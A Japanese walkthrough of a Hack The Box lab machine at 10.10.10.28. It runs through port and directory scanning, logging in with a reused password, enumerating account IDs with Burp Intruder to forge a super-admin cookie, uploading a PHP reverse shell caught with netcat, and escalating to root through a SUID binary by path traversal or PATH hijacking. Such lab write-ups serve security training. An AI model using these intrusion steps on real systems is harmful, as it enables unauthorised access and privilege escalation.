まずnmapでサービスを調べます。
nmap -sC -sV 10.10.10.28
また他のポートもopenである可能性があるので全ポート検索します。とても時間がかかるので別の調査と並行してやるのをおすすめします。
nmap -sC -sV -A -p- 10.10.10.28
結果が
sshとWebサーバーがopenしてますね。対象のサイトにアクセスしてみると、自動車会社(?)のようなサイトでした。Ctrl+U(curlでも可)でソースコードを見ても重要そうな情報はありません。下にスクロールすると
ログインしてくださいと書いてありますが、ログイン画面が見当たりません。
もう少し情報を集めてみましょう。gobusterとniktoを使います。
gobusterはWebサーバーにブルートフォースを実行し対処のURI・サブドメインを見つけるツールです。common.txtは自分のディレクトリに置き換えてください。
gobuster dir -u http://10.10.10.28/ -w /usr/share/dirb/wordlists/common.txt
index.php(対象のサイト)のみアクセスできるようです。
次にniktoを使います。niktoは対象の脆弱性をリストアップしてくれます。
nikto -h http://10.10.10.28
こちらはburpsuiteです。同様にcdn-cgi/loginが確認できます。
loginページにアクセスしてみましょう。
次にパスワードですが、ここで詰まりました。ありがちなパスワード(admin/passwd)を試してもログインできません.。
ここで断念して公式のwriteupを確認してみると前回のArchetypeのパスワードMEGACORP_4dm1n!!でログインできるようです。下部のメールアドレスがヒントでしょうか?
ともあれadmin/MEGACORP_4am1n!!でログインが成功しました。ソースコードには情報なし、サイトを見回ってみると
upload機能は制限されておりsuper_adminユーザーではないことがわかります。
accountページから現在のアカウントを確認できました。Access IDは認証辺りで使っている可能性がありそうです。試しにBurp Suiteでリクエストをのぞいてみましょう。
Cookieを見てみると先ほどのページのAccount IDと現在の権限が確認できます。つまりsuper adminのAccount IDが分かればuploadのページにアクセスできそうです。
ここでaccountのURLに注目すると
http://10.10.10.28/cdn-cgi/login/admin.php?content=accounts&id=1
このidの値を順に変えてみるとid=4で別ユーザーのアカウントが出てきました。
さらに番号を変えていけばsuper adminにたどり着けるかもしれません。しかし手動でやるのはあまりにも面倒です。そこでburpsuiteのintruderを使います。
intruderのidを変更したいのでaccounts,34322,adminの$を取ります。次にpayloadを開いて次のように設定し、start attackを押します。(公式では1~100の番号をtxtに保存しそれを読み込ませることで入力しています)
すべてStatus200がでますがAccountページだけサイズが違うので判別は容易です。id=30を見ると86575がsuper adminのIDだとわかります。
これでuploadのページにアクセスできます。burpsuiteからuploadsのリクエストを開き、cookieに先ほどのアカウントIDを入力してみると
成功です!
これでphpリバースシェルをアップロードし、そのページにアクセスすることでリバースシェルが得られるはずです。リバースシェルはkaliやparrotであれば/usr/share辺りにあります。
reverseshellを自分のipアドレスに変更、ポートをリバースシェルをリッスンするものに変更してアップロードします。
またアップロードする際、クッキーが元のadminに戻ってしまうのでsuper adminの値に変えてからアップロードしてください。
アップロード先はgobusterで見つけたuploadsフォルダなので
sudo nc -lvnp 1234
その後
curl http://10.10.10.28/uploads/php-reverse-shell.php
とすると
成功しました!
まずはサイトにデータがないか探ってみましょう。/var/www/htmlにサイトのデータがあります。loginを見てみるとdb.phpというファイルがあります。試しにcatで開いてみると
別ユーザーの名前とパスワードが見つかりました。suで切り替えができますが、以下のメッセージが出て切り替えができません。
つまり対話型シェルを作成する必要があります。(なおこのパスワードを利用してsshで接続できるので面倒な場合はその方法でも可)。
SHELL=/bin/bash script -q /dev/nullの後Ctrl-Zで一度ncをバックグラウンドにします。stty raw -echoの後入力が見えなくなりますがfgと打ちreset、次にシェルの種類を聞かれるのでxtermとすると
まずはsuでユーザーを切り替えidで権限を見てみます。すると
bugtrackerというグループが気になりますね。bugtrackerを探して実行してみるとidの入力が求められます。試しに適当な数字を打つと
どうやら入力したIDで何かしらの出力が出るようです。試しに100を入力すると
catと出ていますね。つまりcatと入力したIDを利用してrobertの権限ではアクセスできないレポートを表示していると考えられます。ここから以下2通りの方法があります。
①入力でとる
hack the boxのルートにあるフラグはroot.txtの形式になっています。つまり入力でroot.txtを参照するコマンド../root.txtを入力すればフラグが表示されます。
②catを悪用する
bugtrackerはcat /rootを参照できる、つまりroot権限を持っています。また実装もcatを直接利用するものなので悪意のあるcatコマンドを作成すればいけそうです。
まずexport PATH=/tmp:$PATHでコマンドを実行する際tmpを参照するよう設定します。次に/tmpファイルにbashを実行するように設定したcatコマンドを作成します。
最後にchmod +x catで実行権限を与えbugtrackerで実行すると
root権限が得られました!ちなみにroot.txtはcatできないので(自作したcatが先に実行されるため)moreやlessで確認できます。